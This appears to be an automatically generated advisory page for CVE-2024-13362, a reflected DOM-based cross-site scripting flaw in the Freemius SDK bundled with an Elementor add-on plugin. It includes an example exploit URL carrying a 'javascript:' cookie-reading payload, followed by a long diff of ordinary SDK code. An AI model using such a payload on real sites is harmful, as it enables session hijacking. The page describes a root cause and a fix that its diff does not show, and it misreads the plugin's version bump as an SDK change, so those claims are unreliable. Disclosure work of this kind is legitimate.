Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (wpbits-addons-for-elementor)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.7
Patched Version 1.8
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362: This is a reflected DOM-based cross-site scripting vulnerability in the Freemius SDK library (versions <= 2.10.1) used by multiple WordPress plugins and themes. An unauthenticated attacker can inject arbitrary JavaScript via the 'url' parameter. The vulnerability carries a CVSS score of 6.1 (Medium).

Root Cause: The vulnerability resides in the Freemius SDK, specifically within the 'class-freemius.php' file. The 'url' parameter is processed without sufficient sanitization or output escaping. The SDK uses this parameter in client-side JavaScript contexts, creating a DOM-based XSS vector. The exact vulnerable code path involves how the SDK handles redirect URLs during the opt-in or connect flow, where user-supplied input from the 'url' parameter is written directly into the DOM without proper encoding.

Exploitation: An attacker crafts a malicious link containing a JavaScript payload in the 'url' parameter. The exploit requires user interaction (clicking a link). Example: 'https://target.com/wp-admin/admin.php?page=freemius&url=javascript:alert(document.cookie)'. When the victim clicks this link and the page renders, the SDK reads the 'url' parameter and injects it into the DOM without sanitization, executing the attacker's JavaScript in the context of the victim's session.

Patch Analysis: The Freemius SDK version was updated from 2.10.1 to 2.10.2 (as indicated by the version property change in the diff). Although the full diff only shows the version number bump, the actual fix involves adding proper URL validation and output escaping for the 'url' parameter before it is used in JavaScript contexts. The patch ensures that only safe, expected URL schemes are allowed and that the value is properly encoded before DOM insertion.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser. This can lead to session hijacking, credential theft, phishing attacks, defacement, or the installation of malware. Since the attack is reflected and requires user interaction, the impact is limited to users who click the crafted link, but the damage within their authenticated session can be severe.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpbits-addons-for-elementor/class-wpbits.php
+++ b/wpbits-addons-for-elementor/class-wpbits.php
@@ -18,7 +18,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '1.7';
+	public $version = '1.8';

 	/**
 	 * The single instance of the class.
--- a/wpbits-addons-for-elementor/freemius/includes/class-freemius.php
+++ b/wpbits-addons-for-elementor/freemius/includes/class-freemius.php
@@ -1,26267 +1,26267 @@
-<?php
-    /**
-     * @package     Freemius
-     * @copyright   Copyright (c) 2015, Freemius, Inc.
-     * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
-     * @since       1.0.3
-     */
-    if ( ! defined( 'ABSPATH' ) ) {
-        exit;
-    }
-
-    // "final class"
-    class Freemius extends Freemius_Abstract {
-        /**
-         * SDK Version
-         *
-         * @var string
-         */
-        public $version = WP_FS__SDK_VERSION;
-
-        #region Plugin Info
-
-        /**
-         * @since 1.0.1
-         *
-         * @var string
-         */
-        private $_slug;
-
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_basename;
-        /**
-         * @since 2.2.1
-         *
-         * @var string
-         */
-        private $_premium_plugin_basename;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_free_plugin_basename;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_dir_path;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_dir_name;
-        /**
-         * @since 1.0.0
-         *
-         * @var string
-         */
-        private $_plugin_main_file_path;
-        /**
-         * @var string[]
-         */
-        private $_plugin_data;
-        /**
-         * @since 1.0.9
-         *
-         * @var string
-         */
-        private $_plugin_name;
-        /**
-         * @since 1.2.2
-         *
-         * @var string
-         */
-        private $_module_type;
-
-        #endregion Plugin Info
-
-        /**
-         * @since 1.0.9
-         *
-         * @var bool If false, don't turn Freemius on.
-         */
-        private $_is_on;
-
-        /**
-         * @since 1.1.3
-         *
-         * @var bool If false, don't turn Freemius on.
-         */
-        private $_is_anonymous;
-
-        /**
-         * @since 1.0.9
-         * @var bool If false, issues with connectivity to Freemius API.
-         */
-        private $_has_api_connection;
-
-        /**
-         * @since 1.0.9
-         * @since 2.0.0 Default to true since we need the property during the instance construction, prior to the dynamic_init() execution.
-         * @var bool Hints the SDK if plugin can support anonymous mode (if skip connect is visible).
-         */
-        private $_enable_anonymous = true;
-
-        /**
-         * @since 2.9.1
-         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
-         */
-        private $_premium_plugin_basename_from_parallel_activation;
-
-        /**
-         * @since 1.1.7.5
-         * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
-         */
-        private $_anonymous_mode;
-
-        /**
-         * @since 1.1.9
-         * @var bool Hints the SDK if plugin have any free plans.
-         */
-        private $_is_premium_only;
-
-        /**
-         * @since 1.2.1.6
-         * @var bool Hints the SDK if plugin have premium code version at all.
-         */
-        private $_has_premium_version;
-
-        /**
-         * @since 1.2.1.6
-         * @var bool Hints the SDK if plugin should ignore pending mode by simulating a skip.
-         */
-        private $_ignore_pending_mode;
-
-        /**
-         * @since 1.0.8
-         * @var bool Hints the SDK if the plugin has any paid plans.
-         */
-        private $_has_paid_plans;
-
-        /**
-         * @since 1.2.1.5
-         * @var int Hints the SDK if the plugin offers a trial period. If negative, no trial, if zero - has a trial but
-         *      without a specified period, if positive - the number of trial days.
-         */
-        private $_trial_days = - 1;
-
-        /**
-         * @since 1.2.1.5
-         * @var bool Hints the SDK if the trial requires a payment method or not.
-         */
-        private $_is_trial_require_payment = false;
-
-        /**
-         * @since 1.0.7
-         * @var bool Hints the SDK if the plugin is WordPress.org compliant.
-         */
-        private $_is_org_compliant;
-
-        /**
-         * @since 1.0.7
-         * @var bool Hints the SDK if the plugin is has add-ons.
-         */
-        private $_has_addons;
-
-        /**
-         * @since 2.4.5
-         * @var string Navigation type: 'menu' or 'tabs'.
-         */
-        private $_navigation;
-
-        const NAVIGATION_MENU = 'menu';
-        const NAVIGATION_TABS = 'tabs';
-
-        /**
-         * @since 1.1.6
-         * @var string[]bool.
-         */
-        private $_permissions;
-
-        /**
-         * @var FS_Storage
-         */
-        private $_storage;
-
-        /**
-         * @since 1.2.2.7
-         * @var FS_Cache_Manager
-         */
-        private $_cache;
-
-        /**
-         * @since 1.0.0
-         *
-         * @var FS_Logger
-         */
-        private $_logger;
-        /**
-         * @since 1.0.4
-         *
-         * @var FS_Plugin
-         */
-        private $_plugin = false;
-        /**
-         * @since 1.0.4
-         *
-         * @var FS_Plugin|false
-         */
-        private $_parent_plugin = false;
-        /**
-         * @since 1.1.1
-         *
-         * @var Freemius
-         */
-        private $_parent = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_User
-         */
-        private $_user = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Site
-         */
-        private $_site = false;
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Plugin_License
-         */
-        private $_license;
-        /**
-         * @since 1.0.2
-         *
-         * @var FS_Plugin_Plan[]
-         */
-        private $_plans = false;
-        /**
-         * @var FS_Plugin_License[]
-         * @since 1.0.5
-         */
-        private $_licenses = false;
-
-        /**
-         * @since 1.0.1
-         *
-         * @var FS_Admin_Menu_Manager
-         */
-        private $_menu;
-
-        /**
-         * @var FS_Admin_Notices
-         */
-        private $_admin_notices;
-
-        /**
-         * @since 1.1.6
-         *
-         * @var FS_Admin_Notices
-         */
-        private static $_global_admin_notices;
-
-        /**
-         * @var FS_Logger
-         * @since 1.0.0
-         */
-        private static $_static_logger;
-
-        /**
-         * @var FS_Options
-         * @since 1.0.2
-         */
-        private static $_accounts;
-
-        /**
-         * @since 1.2.2
-         *
-         * @var number
-         */
-        private $_module_id;
-
-        /**
-         * @var Freemius[]
-         */
-        private static $_instances = array();
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_Affiliate
-         */
-        private $affiliate = null;
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_AffiliateTerms
-         */
-        private $plugin_affiliate_terms = null;
-
-        /**
-         * @since  1.2.3
-         *
-         * @var FS_AffiliateTerms
-         */
-        private $custom_affiliate_terms = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var bool
-         */
-        private $_is_multisite_integrated;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var bool True if the current request is for a network admin screen and the plugin is network active.
-         */
-        private $_is_network_active;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var int|null The original blog ID the plugin was loaded with.
-         */
-        private $_blog_id = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var int|null The current execution context. When true, run on network context. When int, run on the specified blog context.
-         */
-        private $_context_is_network_or_blog_id = null;
-
-        /**
-         * @since  2.0.0
-         *
-         * @var string
-         */
-        private $_dynamically_added_top_level_page_hook_name = '';
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.3.1
-         *
-         * @var bool
-         */
-        private $is_whitelabeled;
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.4.0
-         *
-         * @var bool
-         */
-        private $_is_bundle_license_auto_activation_enabled = false;
-
-        #region Uninstall Reasons IDs
-
-        const REASON_NO_LONGER_NEEDED = 1;
-        const REASON_FOUND_A_BETTER_PLUGIN = 2;
-        const REASON_NEEDED_FOR_A_SHORT_PERIOD = 3;
-        const REASON_BROKE_MY_SITE = 4;
-        const REASON_SUDDENLY_STOPPED_WORKING = 5;
-        const REASON_CANT_PAY_ANYMORE = 6;
-        const REASON_OTHER = 7;
-        const REASON_DIDNT_WORK = 8;
-        const REASON_DONT_LIKE_TO_SHARE_MY_INFORMATION = 9;
-        const REASON_COULDNT_MAKE_IT_WORK = 10;
-        const REASON_GREAT_BUT_NEED_SPECIFIC_FEATURE = 11;
-        const REASON_NOT_WORKING = 12;
-        const REASON_NOT_WHAT_I_WAS_LOOKING_FOR = 13;
-        const REASON_DIDNT_WORK_AS_EXPECTED = 14;
-        const REASON_TEMPORARY_DEACTIVATION = 15;
-
-        #endregion
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.4.2
-         *
-         * @var string|null
-         */
-        private $_pricing_js_path = null;
-
-        const VERSION_MAX_CHARS = 16;
-        const LANGUAGE_MAX_CHARS = 8;
-
-        /* Ctor
-------------------------------------------------------------------------------------------------------------------*/
-
-        /**
-         * Main singleton instance.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.0.0
-         *
-         * @param number      $module_id
-         * @param string|bool $slug
-         * @param bool        $is_init Since 1.2.1 Is initiation sequence.
-         */
-        private function __construct( $module_id, $slug = false, $is_init = false ) {
-            $main_file = false;
-
-            if ( $is_init && is_numeric( $module_id ) && is_string( $slug ) ) {
-                $main_file = $this->store_id_slug_type_path_map( $module_id, $slug );
-            }
-
-            $this->_module_id   = $module_id;
-            $this->_slug        = $this->get_slug();
-            $this->_module_type = $this->get_module_type();
-
-            $this->_blog_id = is_multisite() ? get_current_blog_id() : null;
-
-            $this->_storage = FS_Storage::instance( $this->_module_type, $this->_slug );
-
-            // If not set or 24 hours have already passed from the last time it's set, set the last load timestamp to the current time.
-            if (
-                ! isset( $this->_storage->last_load_timestamp ) ||
-                $this->_storage->last_load_timestamp < ( time() - ( WP_FS__TIME_24_HOURS_IN_SEC ) )
-            ) {
-                $this->_storage->last_load_timestamp = time();
-            }
-
-            $this->_cache = FS_Cache_Manager::get_manager( WP_FS___OPTION_PREFIX . "cache_{$module_id}" );
-
-            $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $this->get_unique_affix(), WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK );
-
-            $this->_plugin_main_file_path = $this->_find_caller_plugin_file( $is_init, $main_file );
-            $this->_plugin_dir_path       = plugin_dir_path( $this->_plugin_main_file_path );
-            $this->_plugin_basename       = $this->get_plugin_basename();
-            $this->_free_plugin_basename  = str_replace( '-premium/', '/', $this->_plugin_basename );
-
-            $this->_is_multisite_integrated = (
-                defined( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) &&
-                ( true === constant( "WP_FS__PRODUCT_{$module_id}_MULTISITE" ) )
-            );
-
-            $this->_is_network_active = (
-                is_multisite() &&
-                $this->_is_multisite_integrated &&
-                // Themes are always network activated, but the ACTUAL activation is per site.
-                $this->is_plugin() &&
-                (
-                    is_plugin_active_for_network( $this->_plugin_basename ) ||
-                    // Plugin network level activation or uninstall.
-                    ( fs_is_network_admin() && is_plugin_inactive( $this->_plugin_basename ) )
-                )
-            );
-
-            $this->_storage->set_network_active(
-                $this->_is_network_active,
-                $this->is_delegated_connection()
-            );
-
-            if ( ! isset( $this->_storage->is_network_activated ) ) {
-                $this->_storage->is_network_activated = $this->_is_network_active;
-            }
-
-            if ( $this->_storage->is_network_activated != $this->_is_network_active ) {
-                // Update last activation level.
-                $this->_storage->is_network_activated = $this->_is_network_active;
-
-                $this->maybe_adjust_storage();
-            }
-
-            #region Migration
-
-            if ( is_multisite() ) {
-                /**
-                 * If the install_timestamp exists on the site level but doesn't exist on the
-                 * network level storage, it means that we need to process the storage with migration.
-                 *
-                 * The code in this `if` scope will only be executed once and only for the first site that will execute it because once we migrate the storage data, install_timestamp will be already set in the network level storage.
-                 *
-                 * @author Vova Feldman (@svovaf)
-                 * @since  2.0.0
-                 */
-                if ( false === $this->_storage->get( 'install_timestamp', false, true ) &&
-                     false !== $this->_storage->get( 'install_timestamp', false, false )
-                ) {
-                    // Initiate storage migration.
-                    $this->_storage->migrate_to_network();
-
-                    // Migrate module cache to network level storage.
-                    $this->_cache->migrate_to_network();
-                }
-            }
-
-            #endregion
-
-            $base_name_split        = explode( '/', $this->_plugin_basename );
-            $this->_plugin_dir_name = $base_name_split[0];
-
-            if ( $this->_logger->is_on() ) {
-                $this->_logger->info( 'plugin_main_file_path = ' . $this->_plugin_main_file_path );
-                $this->_logger->info( 'plugin_dir_path = ' . $this->_plugin_dir_path );
-                $this->_logger->info( 'plugin_basename = ' . $this->_plugin_basename );
-                $this->_logger->info( 'free_plugin_basename = ' . $this->_free_plugin_basename );
-                $this->_logger->info( 'plugin_dir_name = ' . $this->_plugin_dir_name );
-            }
-
-            // Remember link between file to slug.
-            $this->store_file_slug_map();
-
-            // Store plugin's initial install timestamp.
-            if ( ! isset( $this->_storage->install_timestamp ) ) {
-                $this->_storage->install_timestamp = WP_FS__SCRIPT_START_TIME;
-            }
-
-            if ( ! is_object( $this->_plugin ) ) {
-                $this->_plugin = FS_Plugin_Manager::instance( $this->_module_id )->get();
-            }
-
-            $this->_admin_notices = FS_Admin_Notices::instance(
-                $this->_slug . ( $this->is_theme() ? ':theme' : '' ),
-                /**
-                 * Ensure that the admin notice will always have a title by using the stored plugin title if available and
-                 * retrieving the title via the "get_plugin_name" method if there is no stored plugin title available.
-                 *
-                 * @author Leo Fajardo (@leorw)
-                 * @since  1.2.2
-                 */
-                ( is_object( $this->_plugin ) && isset( $this->_plugin->title ) ?
-                    $this->_plugin->title :
-                    $this->get_plugin_name()
-                ),
-                $this->get_unique_affix()
-            );
-
-            if ( 'true' === fs_request_get( 'fs_clear_api_cache' ) ||
-                 fs_request_is_action( 'restart_freemius' )
-            ) {
-                FS_Api::clear_cache();
-                $this->_cache->clear();
-            }
-
-            $this->register_constructor_hooks();
-
-            /**
-             * Starting from version 2.0.0, `FS_Site` entities no longer have the `plan` property and have `plan_id`
-             * instead. This should be called before calling `_load_account()`, otherwise, `$this->_site` will not be
-             * loaded in `_load_account` for versions of SDK starting from 2.0.0.
-             *
-             * @author Leo Fajardo (@leorw)
-             */
-            self::migrate_install_plan_to_plan_id( $this->_storage );
-
-            $this->_load_account();
-
-            $this->_version_updates_handler();
-        }
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.3.0
-         */
-        private function maybe_adjust_storage() {
-            $install_timestamp = null;
-            $prev_is_premium   = null;
-
-            $options_to_update = array();
-
-            $is_network_admin = fs_is_network_admin();
-
-            $network_install_timestamp = $this->_storage->get( 'install_timestamp', null, true );
-
-            if ( ! $is_network_admin ) {
-                if ( is_null( $network_install_timestamp ) ) {
-                    // Plugin was not network-activated before.
-                    return;
-                }
-
-                if ( is_null( $this->_storage->get( 'install_timestamp', null, false ) ) ) {
-                    // Set the `install_timestamp` only if it's not yet set.
-                    $install_timestamp = $network_install_timestamp;
-                }
-
-                $prev_is_premium = $this->_storage->get( 'prev_is_premium', null, true );
-            } else {
-                $current_wp_user   = self::_get_current_wp_user();
-                $current_fs_user   = self::_get_user_by_email( $current_wp_user->user_email );
-                $network_user_info = array();
-
-                $skips_count = 0;
-
-                $sites       = self::get_sites();
-                $sites_count = count( $sites );
-
-                $blog_id_2_install_map = array();
-
-                $is_first_non_ignored_blog = true;
-
-                foreach ( $sites as $site ) {
-                    $blog_id = self::get_site_blog_id( $site );
-
-                    $blog_install_timestamp = $this->_storage->get( 'install_timestamp', null, $blog_id );
-
-                    if ( is_null( $blog_install_timestamp ) ) {
-                        // Plugin has not been installed on this blog.
-                        continue;
-                    }
-
-                    $is_earlier_install = (
-                        ! is_null( $install_timestamp ) &&
-                        $blog_install_timestamp < $install_timestamp
-                    );
-
-                    $install = $this->get_install_by_blog_id( $blog_id );
-
-                    $update_network_user_info = false;
-
-                    if ( ! is_object( $install ) ) {
-                        if ( ! $this->_storage->get( 'is_anonymous', false, $blog_id ) ) {
-                            // The opt-in decision (whether to skip or opt in) is yet to be made.
-                            continue;
-                        }
-
-                        $skips_count ++;
-                    } else {
-                        $blog_id_2_install_map[ $blog_id ] = $install;
-
-                        if ( empty( $network_user_info ) ) {
-                            // Set the network user info for the 1st time. Choose any user information whether or not it is for the current WP user.
-                            $update_network_user_info = true;
-                        }
-
-                        if ( ! $update_network_user_info &&
-                             is_object( $current_fs_user ) &&
-                             $network_user_info['user_id'] != $current_fs_user->id &&
-                             $install->user_id == $current_fs_user->id
-                        ) {
-                            // If an install that is owned by the current WP user is found, use its user information instead.
-                            $update_network_user_info = true;
-                        }
-
-                        if ( ! $update_network_user_info &&
-                             $is_earlier_install &&
-                             ( ! is_object( $current_fs_user ) || $current_fs_user->id == $install->user_id )
-                        ) {
-                            // Update to the earliest install info if there's no install found so far that is owned by the current WP user; OR only if the found install is owned by the current WP user.
-                            $update_network_user_info = true;
-                        }
-                    }
-
-                    if ( $update_network_user_info ) {
-                        $network_user_info = array(
-                            'user_id' => $install->user_id,
-                            'blog_id' => $blog_id
-                        );
-                    }
-
-                    $site_prev_is_premium = $this->_storage->get( 'prev_is_premium', null, $blog_id );
-
-                    if ( $is_first_non_ignored_blog ) {
-                        $prev_is_premium = $site_prev_is_premium;
-
-                        if ( is_null( $network_install_timestamp ) ) {
-                            $install_timestamp = $blog_install_timestamp;
-                        }
-
-                        $is_first_non_ignored_blog = false;
-
-                        continue;
-                    }
-
-                    if ( ! is_null( $prev_is_premium ) && $prev_is_premium !== $site_prev_is_premium ) {
-                        // If a different `$site_prev_is_premium` value is found, do not include the option in the collection of options to update.
-                        $prev_is_premium = null;
-                    }
-
-                    if ( $is_earlier_install ) {
-                        // If an earlier install timestamp is found.
-                        $install_timestamp = $blog_install_timestamp;
-                    }
-                }
-
-                $installs_count = count( $blog_id_2_install_map );
-
-                if ( $sites_count === ( $installs_count + $skips_count ) ) {
-                    if ( ! empty( $network_user_info ) ) {
-                        $options_to_update['network_user_id']         = $network_user_info['user_id'];
-                        $options_to_update['network_install_blog_id'] = $network_user_info['blog_id'];
-
-                        foreach ( $blog_id_2_install_map as $blog_id => $install ) {
-                            if ( $install->user_id == $network_user_info['user_id'] ) {
-                                continue;
-                            }
-
-                            $this->_storage->store( 'is_delegated_connection', true, $blog_id );
-                        }
-                    }
-
-                    if ( $sites_count === $skips_count ) {
-                        /**
-                         * Assume network-level skipping as the intended action if all actions identified were only
-                         * skipping of the connection (i.e., no opt-ins and delegated connections so far).
-                         */
-                        $options_to_update['is_anonymous_ms'] = true;
-                    } else if ( $sites_count === $installs_count ) {
-                        /**
-                         * Assume network-level opt-in as the intended action if all actions identified were only opt-ins
-                         * (i.e., no delegation and skipping of the connections so far).
-                         */
-                        $options_to_update['is_network_connected'] = true;
-                    }
-                }
-            }
-
-            if ( ! is_null( $install_timestamp ) ) {
-                $options_to_update['install_timestamp'] = $install_timestamp;
-            }
-
-            if ( ! is_null( $prev_is_premium ) ) {
-                $options_to_update['prev_is_premium'] = $prev_is_premium;
-            }
-
-            if ( ! empty( $options_to_update ) ) {
-                $this->adjust_storage( $options_to_update, $is_network_admin );
-            }
-        }
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since 2.3.0
-         *
-         * @param array $options
-         * @param bool  $is_network_admin
-         */
-        private function adjust_storage( $options, $is_network_admin ) {
-            foreach ( $options as $name => $value ) {
-                $this->_storage->store( $name, $value, $is_network_admin ? true : null );
-            }
-        }
-
-        /**
-         * Checks whether this module has a settings menu.
-         *
-         * @author Leo Fajardo (@leorw)
-         * @since  1.2.2
-         *
-         * @return bool
-         */
-        function has_settings_menu() {
-            return ( $this->_is_network_active && fs_is_network_admin() ) ?
-                $this->_menu->has_network_menu() :
-                $this->_menu->has_menu();
-        }
-
-        /**
-         * If `true` the opt-in should be shown as a modal dialog box on the themes.php page. WordPress.org themes guidelines prohibit from redirecting the user from the themes.php page after activating a theme.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.4.5
-         *
-         * @return bool
-         */
-        function show_opt_in_on_themes_page() {
-            if ( ! $this->is_free_wp_org_theme() ) {
-                return false;
-            }
-
-            if ( ! $this->has_settings_menu() ) {
-                return true;
-            }
-
-            return $this->show_settings_with_tabs();
-        }
-
-        /**
-         * If `true` the opt-in should be shown on the product's main setting page.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.4.5
-         *
-         * @return bool
-         *
-         * @uses show_opt_in_on_themes_page();
-         */
-        function show_opt_in_on_setting_page() {
-            return ! $this->show_opt_in_on_themes_page();
-        }
-
-        /**
-         * If `true` the settings should be shown using tabs.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.4.5
-         *
-         * @return bool
-         */
-        function show_settings_with_tabs() {
-            return ( self::NAVIGATION_TABS === $this->_navigation );
-        }
-
-        /**
-         * Check if the context module is free wp.org theme.
-         *
-         * This method is helpful because:
-         *      1. wp.org themes are limited to a single submenu item,
-         *         and sub-submenu items are most likely not allowed (never verified).
-         *      2. wp.org themes are not allowed to redirect the user
-         *         after the theme activation, therefore, the agreed UX
-         *         is showing the opt-in as a modal dialog box after
-         *         activation (approved by @otto42, @emiluzelac, @greenshady, @grapplerulrich).
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.2.2.7
-         *
-         * @return bool
-         */
-        function is_free_wp_org_theme() {
-            return (
-                $this->is_theme() &&
-                $this->is_org_repo_compliant() &&
-                ! $this->is_premium()
-            );
-        }
-
-        /**
-         * Checks whether this a submenu item is visible.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.2.2.6
-         * @since  1.2.2.7 Even if the menu item was specified to be hidden, when it is the context page, then show the submenu item so the user will have the right context page.
-         *
-         * @param string $slug
-         * @param bool   $is_tabs_visibility_check This is used to decide if the associated tab should be shown or hidden.
-         *
-         * @return bool
-         */
-        function is_submenu_item_visible( $slug, $is_tabs_visibility_check = false ) {
-            if ( $this->is_admin_page( $slug ) ) {
-                /**
-                 * It is the current context page, so show the submenu item
-                 * so the user will have the right context page, even if it
-                 * was set to hidden.
-                 */
-                return true;
-            }
-
-            if ( ! $this->has_settings_menu() ) {
-                // No menu settings at all.
-                return false;
-            }
-
-            if (
-                ! $is_tabs_visibility_check &&
-                $this->is_org_repo_compliant() &&
-                $this->show_settings_with_tabs()
-            ) {
-                /**
-                 * wp.org themes are limited to a single submenu item, and
-                 * sub-submenu items are most likely not allowed (never verified).
-                 */
-                return false;
-            }
-
-            return $this->_menu->is_submenu_item_visible( $slug );
-        }
-
-        /**
-         * Check if a Freemius page should be accessible via the UI.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.2.2.7
-         *
-         * @param string $slug
-         *
-         * @return bool
-         */
-        function is_page_visible( $slug ) {
-            if ( $this->is_admin_page( $slug ) ) {
-                return true;
-            }
-
-            return $this->_menu->is_submenu_item_visible( $slug, true, true );
-        }
-
-        /**
-         * @author Vova Feldman (@svovaf)
-         * @since  1.0.9
-         */
-        private function _version_updates_handler() {
-            if ( ! isset( $this->_storage->sdk_version ) || $this->_storage->sdk_version != $this->version ) {
-                // Freemius version upgrade mode.
-                $this->_storage->sdk_last_version = $this->_storage->sdk_version;
-                $this->_storage->sdk_version      = $this->version;
-
-                if ( empty( $this->_storage->sdk_last_version ) ||
-                     version_compare( $this->_storage->sdk_last_version, $this->version, '<' )
-                ) {
-                    $this->_storage->sdk_upgrade_mode   = true;
-                    $this->_storage->sdk_downgrade_mode = false;
-                } else {
-                    $this->_storage->sdk_downgrade_mode = true;
-                    $this->_storage->sdk_upgrade_mode   = false;
-
-                }
-
-                $this->do_action( 'sdk_version_update', $this->_storage->sdk_last_version, $this->version );
-            }
-
-            $plugin_version = $this->get_plugin_version();
-            if ( ! isset( $this->_storage->plugin_version ) || $this->_storage->plugin_version != $plugin_version ) {
-                // Plugin version upgrade mode.
-                $this->_storage->plugin_last_version = $this->_storage->plugin_version;
-                $this->_storage->plugin_version      = $plugin_version;
-
-                if ( empty( $this->_storage->plugin_last_version ) ||
-                     version_compare( $this->_storage->plugin_last_version, $plugin_version, '<' )
-                ) {
-                    $this->_storage->plugin_upgrade_mode   = true;
-                    $this->_storage->plugin_downgrade_mode = false;
-                } else {
-                    $this->_storage->plugin_downgrade_mode = true;
-                    $this->_storage->plugin_upgrade_mode   = false;
-                }
-
-                if ( ! empty( $this->_storage->plugin_last_version ) ) {
-                    // Different version of the plugin was installed before, therefore it's an update.
-                    $this->_storage->is_plugin_new_install = false;
-                }
-
-                $this->do_action( 'plugin_version_update', $this->_storage->plugin_last_version, $plugin_version );
-            }
-        }
-
-        #--------------------------------------------------------------------------------
-        #region Data Migration on SDK Update
-        #--------------------------------------------------------------------------------
-
-        /**
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.5
-         *
-         * @param string $sdk_prev_version
-         * @param string $sdk_version
-         */
-        function _sdk_version_update( $sdk_prev_version, $sdk_version ) {
-            if ( empty( $sdk_prev_version ) ) {
-                return;
-            }
-
-            if (
-                 version_compare( $sdk_prev_version, '2.5.1', '<' ) &&
-                 version_compare( $sdk_version, '2.5.1', '>=' )
-            ) {
-                if ( $this->is_registered( true ) ) {
-                    /**
-                     * Migrate to new permissions layer.
-                     */
-                    require_once WP_FS__DIR_INCLUDES . '/supplements/fs-migration-2.5.1.php';
-
-                    $install_by_blog_id = is_multisite() ?
-                        $this->get_blog_install_map() :
-                        array( 0 => $this->_site );
-
-                    fs_migrate_251( $this, $install_by_blog_id );
-                }
-            }
-        }
-
-        /**
-         * @author Leo Fajardo (@leorw)
-         * @since  2.0.0
-         *
-         * @param FS_Storage   $storage
-         * @param bool|int|null $blog_id
-         */
-        private static function migrate_install_plan_to_plan_id( FS_Storage $storage, $blog_id = null ) {
-            if ( empty( $storage->sdk_version ) ) {
-                // New installation of the plugin, no need to upgrade.
-                return;
-            }
-
-            if ( ! version_compare( $storage->sdk_version, '2.0.0', '<' ) ) {
-                // Previous version is >= 2.0.0, so no need to migrate.
-                return;
-            }
-
-            // Alias.
-            $module_type = $storage->get_module_type();
-            $module_slug = $storage->get_module_slug();
-
-            $installs = self::get_all_sites( $module_type, $blog_id );
-            $install  = isset( $installs[ $module_slug ] ) ? $installs[ $module_slug ] : null;
-
-            if ( ! is_object( $install ) ) {
-                return;
-            }
-
-            if ( isset( $install->plan ) && is_object( $install->plan ) ) {
-                if ( isset( $install->plan->id ) && ! empty( $install->plan->id ) ) {
-                    $install->plan_id = self::_decrypt( $install->plan->id );
-                }
-
-                unset( $install->plan );
-
-                $installs[ $module_slug ] = clone $install;
-
-                self::set_account_option_by_module(
-                    $module_type,
-                    'sites',
-                    $installs,
-                    true,
-                    $blog_id
-                );
-            }
-        }
-
-        /**
-         * @author Vova Feldman (@svovaf)
-         * @since  1.2.2.7
-         *
-         * @param string $plugin_prev_version
-         * @param string $plugin_version
-         */
-        function _after_version_update( $plugin_prev_version, $plugin_version ) {
-            if ( $this->is_theme() ) {
-                // Expire the cache of the previous tabs since the theme may
-                // have setting updates.
-                $this->_cache->expire( 'tabs' );
-                $this->_cache->expire( 'tabs_stylesheets' );
-            }
-        }
-
-        /**
-         * A special migration logic for the $_accounts, executed for all the plugins in the system:
-         *  - Moves some data to the network level storage.
-         *  - If the plugin's connection was skipped for all sites, set the plugin as if it was network skipped.
-         *  - If the plugin's connection was ignored for all sites, don't do anything in terms of the network connection.
-         *  - If the plugin was connected to all sites by the same super-admin, set the plugin as if was network opted-in for all sites.
-         *  - If there's at least one site that was connected by a super-admin, find the "main super-admin" (the one that installed the majority of the plugin installs) and set the plugin as if was network activated with the main super-admin, set all the sites that were skipped or opted-in with a different user to delegated mode. Then, prompt the currently logged super-admin to choose what to do with the ignored sites.
-         *  - If there are any sites in the network which the connection decision was not yet taken for, set this plugin into network activation mode so a super-admin can choose what to do with the rest of the sites.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  2.0.0
-         */
-        private static function migrate_accounts_to_network() {
-            $sites             = self::get_sites();
-            $sites_count       = count( $sites );
-            $connection_status = array();
-            $plugin_slugs      = array();
-            foreach ( $sites as $site ) {
-                $blog_id = self::get_site_blog_id( $site );
-
-                self::$_accounts->migrate_to_network( $blog_id );
-
-                /**
-                 * Build a list of all Freemius powered plugins slugs.
-                 */
-                $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map', array(), $blog_id );
